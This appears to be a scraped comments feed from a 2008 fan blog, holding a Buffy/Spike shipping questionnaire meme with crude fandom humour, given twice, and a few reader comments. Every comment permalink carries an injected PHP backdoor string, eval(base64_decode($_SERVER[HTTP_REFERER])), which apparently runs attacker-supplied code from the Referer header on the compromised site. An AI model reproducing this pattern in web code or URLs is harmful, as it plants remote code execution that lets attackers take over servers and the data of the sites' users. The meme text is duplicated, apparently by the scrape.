stupid! 2. Finally got his balls back, thank God! 3. Suffered some shaky characterization early on, but rocked the casbah by the end of the season! <strong>4. That was Spike? Nah!</strong> 1. Buffy: Officially moved on, Y/N? Damn straight (coughcough) 2. <strong>Never! She’s still secretly pining!</strong> 1. Spike: Officially moved on, Y/N? Sure has 2. <strong>Never! He’s still got it bad!</strong> 1. Reason Spike never contacts Buffy post-Chosen: He really doesn’t believe she ever loved him 2. He’s afraid he can’t live up to his hero’s exit, and she’ll reject him 3. He wants her to live a normal life 4. He’s too busy sucking Angel’s cock. 5. <strong>He did contact her off-stage, as is obviously demonstrated by his willingness to see her in TGIQ, and they’re having phone sex RIGHT NOW.</strong> Reason Buffy never contacts Spike post-Chosen? 1. <strong>She doesn’t know he’s alive. Duh!</strong> 2. She’s pissed off because he never called. Duh! 3. She’s totally gay now, dude. Who tops whom? 1. Buffy. Duh. Spike is love’s bitch! 2. Spike. Duh. Balcony scene! 3. <strong>Can’t they take turns?</strong> 4. Neither, because both of them are too busy sucking Angel’s cock. Claiming fics? 1. <strong>Tres hot!</strong> Though if I ever see the word grand-childe again I will spew! 2. CLAIMING IS TOTALLY NON-FUCKING-CANON, DAMMIT!!!! Threesomes? 1. <strong>Rowr!</strong> 2. No way! 3. Only if S/B is the strongest leg of the triangle! Baby fics? 1.<strong> Cutest evah!</strong> 2. Saccharine tripe! Kinky shit? 1. No! Now that Spike has a soul, they can only have sweet, tender Sara McLaughlin sex! 2. No kinkier than we got onscreen. Spanking! And then the oral sex! 3. <strong>Break out the whips and chains, baby!</strong> But please not with the torture and permanent incarceration. Just, you know, with the safe word... 4. Trust me, you don’t want to know. 1. All human? I’ll take my OTP in any guise! 2. No way! It’s just OCs with the character names slapped on! 3. <strong>Maybe, if they’re really well-done</strong> 1. Canon-based AUs or missing scene fic? <strong>Both!</strong> 2. Gimme an AU epic any day! 3. Missing scenes rule! Fluff? 1. <strong>Hell yes!</strong> 2. God no! 1. Angst? <strong>They were made for it!</strong><strong> 2. Got enough of that in canon, thanks </strong><strong>Re: Fluff/angst - can't they take turns too?</strong> Angel? 1. Sucked in bed and never really loved Buffy! 2. <strong>Was important to Buffy, but she’s moved on, whether she realizes it or not</strong> 3. Is who Buffy’s really thinking about every time Spike porks her! 4. Angel who? Riley? 1. Sucked in bed! And was way too needy! And a wife-beater! And a drug addict! And… 2. <strong>Was a basically decent guy who couldn’t deal with Buffy’s tendency towards emotional isolation.</strong> 3. Riley who? 1. Drusilla? Sucked in bed and never really loved Spike! 2. <strong>Loved Spike the best she could, but was too broken to ever be an equal partner</strong> Except for the first hundred years - and now she is living in sybaritic luxury with some Daddy who loves her and beats her and gives her all the dollies she wants. And this is totally in another dimension. Where there are no orphanages. Nope, not a one. 3. Drusilla who? Spike/Buffy -
1. Reason for shipping: Teh hot!
2. Teh angst!
3. Teh funny!
4. Teh mortal enemy sex!
5. Teh awesome potential for exploring the limits of free will and redemption!

1. Favorite character? Spike
2. Buffy
3. Both
4. Publically both, but secretly Spike
5. Publically both, but secretly Buffy

Season Buffy officially fell in love with Spike?
1. Two
2. Three
3. Four
4. Five
5. Six
6. Seven
7. Never! She only loves Angel!

1. Season Spike officially fell in love with Buffy? Two
2. Three
3. Four
4. Five
5. Six
6. Seven
7. Never! It was all obsession!

Season Buffy officially became a bitch?
1. One
2. Two
3. Three
4. Four
5. Five
6. Six
7. Seven
8. Eight (comic)
9. Buffy was a bitch?

1. Season when the writers officially Ruined Spike’s Character Forever? Two
2. Three
3. Four
4. Five
5. Six
6. Seven
7. AtS S5
8. A:AtF/S:AtF (comic)
9. Spike’s character was ruined? I never pay attention to that!

1. Relationship Badness Blame: Spike’s fault?
2. Buffy’s fault?
3. Mostly Spike’s fault, but he couldn’t help it because he had no soul?
4. Mostly Buffy’s fault, but she couldn’t help it because she was suffering post-heaven trauma?
5. Both Spike and Buffy’s fault?
6. Marti Noxon’s fault?Also, Joss. Because he knows we say we want fluff, but we get more interested when there is angst. So human.

1. Who needs to grovel to whom? Are you kidding? Spike!
2. It’s totally Buffy.
3. Both of ‘em could use a good grovel if you ask me.
4. Forget the groveling, let’s go straight to the reunion sex.

1. Spike: Soul, Y/N? Yes
2. No
3. Any way I can get him, baby

1. Redemption, Y/N? Brilliant character arc!
2. Pathetic neutering of a great villain!
3. Both of the above - if only they’d had a Plan

1. Soulless redemption? Totally impossible within Jossverse canon, you serial-killer lover!
2. Chickenshit failure of vision on the part of the writers! See above, re: Plan.
3. What?

1. S6 relationship? Hot!
2. Sick and twisted!
3. Dysfunctional, but providing a glimpse of potential now and then

1. Seeing Red? Painful yet necessary character development
2. Clumsily introduced plot device
3. Marti Noxon working out her issues
4. What is this “Seeing Red” of which you speak? What?! I’m allowed to be inconsistent too!

1. S7 Spike? Weepy wimpire
2. Mature, sensitive, New-Age Vamp
3. Deeply traumatized, but gradually regaining a sense of self

1. S7 relationship? Neutered, sparkless, and boring!
2. Pure, chaste, true love, elevated above the concerns of the flesh!
3. Still dysfunctional, but at least they weren’t hitting each other. Much. So, not so much with the hotness, alas.

The fade-to-black?
1. They totally did it!
2. They held each other and talked all night!
3.
4. They tried to do it, and it was weird and awkward and they ended up playing Go Fish instead!

1. “I love you?” Buffy meant every word!
2. She loved him, but only as a friend!
3. She meant it right then, but if he’d survived, she’d have gotten cold feet in the morning!
4. She was lying to make him feel better!

1. “No you don’t, but…” Spike meant every word
2. He was totally lying so Buffy would leave
3. He meant every word, but it actually means the complete opposite of what it seems to mean!

1. AtS S5 Spike: Regressed to Neanderthal levels of rude, crude and stupid!
2. Finally got his balls back, thank God!
3. Suffered some shaky characterization early on, but rocked the casbah by the end of the season!
4. That was Spike? Nah!

1. Buffy: Officially moved on, Y/N? Damn straight (coughcough)
2. Never! She’s still secretly pining!

1. Spike: Officially moved on, Y/N? Sure has
2. Never! He’s still got it bad!

1. Reason Spike never contacts Buffy post-Chosen: He really doesn’t believe she ever loved him
2. He’s afraid he can’t live up to his hero’s exit, and she’ll reject him
3. He wants her to live a normal life
4. He’s too busy sucking Angel’s cock.
5. He did contact her off-stage, as is obviously demonstrated by his willingness to see her in TGIQ, and they’re having phone sex RIGHT NOW.

Reason Buffy never contacts Spike post-Chosen?
1. She doesn’t know he’s alive. Duh!
2. She’s pissed off because he never called. Duh!
3. She’s totally gay now, dude.

Who tops whom?
1. Buffy. Duh. Spike is love’s bitch!
2. Spike. Duh. Balcony scene!
3. Can’t they take turns?
4. Neither, because both of them are too busy sucking Angel’s cock.

Claiming fics?
1. Tres hot! Though if I ever see the word grand-childe again I will spew!
2. CLAIMING IS TOTALLY NON-FUCKING-CANON, DAMMIT!!!!

Threesomes?
1. Rowr!
2. No way!
3. Only if S/B is the strongest leg of the triangle!

Baby fics?
1. Cutest evah!
2. Saccharine tripe!

Kinky shit?
1. No! Now that Spike has a soul, they can only have sweet, tender Sara McLaughlin sex!
2. No kinkier than we got onscreen. Spanking! And then the oral sex!
3. Break out the whips and chains, baby! But please not with the torture and permanent incarceration. Just, you know, with the safe word…
4. Trust me, you don’t want to know.

1. All human? I’ll take my OTP in any guise!
2. No way! It’s just OCs with the character names slapped on!
3. Maybe, if they’re really well-done

1. Canon-based AUs or missing scene fic? Both!
2. Gimme an AU epic any day!
3. Missing scenes rule!

Fluff?
1. Hell yes!
2. God no!

1. Angst? They were made for it!
2. Got enough of that in canon, thanks
Re: Fluff/angst - can’t they take turns too?
Angel?
1. Sucked in bed and never really loved Buffy!
2. Was important to Buffy, but she’s moved on, whether she realizes it or not
3. Is who Buffy’s really thinking about every time Spike porks her!
4. Angel who?

Riley?

1. Sucked in bed! And was way too needy! And a wife-beater! And a drug addict! And…
2. Was a basically decent guy who couldn’t deal with Buffy’s tendency towards emotional isolation.
3. Riley who?

1. Drusilla? Sucked in bed and never really loved Spike!
2. Loved Spike the best she could, but was too broken to ever be an equal partner Except for the first hundred years - and now she is living in sybaritic luxury with some Daddy who loves her and beats her and gives her all the dollies she wants. And this is totally in another dimension. Where there are no orphanages. Nope, not a one.
3. Drusilla who?

]]> Comment on Buffyverse rec meme by lakrids http://sleepingjaguars.com/2008/05/14/buffyverse-rec-meme/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3853 lakrids Wed, 14 May 2008 19:22:13 +0000 http://sleepingjaguars.com/?p=1219#comment-3853 Read Nwhepcat now! Start with Lilac City it can be found <a>here</a> I wrote a longer post but the site messed it up, annoying Read Nwhepcat now!

Start with Lilac City it can be found here

I wrote a longer post but the site messed it up, annoying

]]> Comment on More of the usual by slaymesoftly http://sleepingjaguars.com/2008/05/13/more-of-the-usual/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-3849 slaymesoftly Wed, 14 May 2008 11:31:23 +0000 http://sleepingjaguars.com/?p=1218#comment-3849 You're wise to work on those photos now. I've been (in theory) working my way through my parents' 50 + years of photos for several years now and it's very frustrating no to know if someone is just a random old friend, or a distant cousin. I'm trying to pull something together for my kids - possibly in CD format. It's wonderful when the pictures are labeled, frustrating when they aren't. You’re wise to work on those photos now. I’ve been (in theory) working my way through my parents’ 50 + years of photos for several years now and it’s very frustrating no to know if someone is just a random old friend, or a distant cousin. I’m trying to pull something together for my kids - possibly in CD format. It’s wonderful when the pictures are labeled, frustrating when they aren’t.

]]> Comment on Drabble: What It Isn’t by Barb http://sleepingjaguars.com/2008/04/09/drabble-what-it-isnt/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comment-2914 Barb Sat, 19 Apr 2008 02:08:13 +0000 http://sleepingjaguars.com/?p=1201#comment-2914 Thank you! Thank you!

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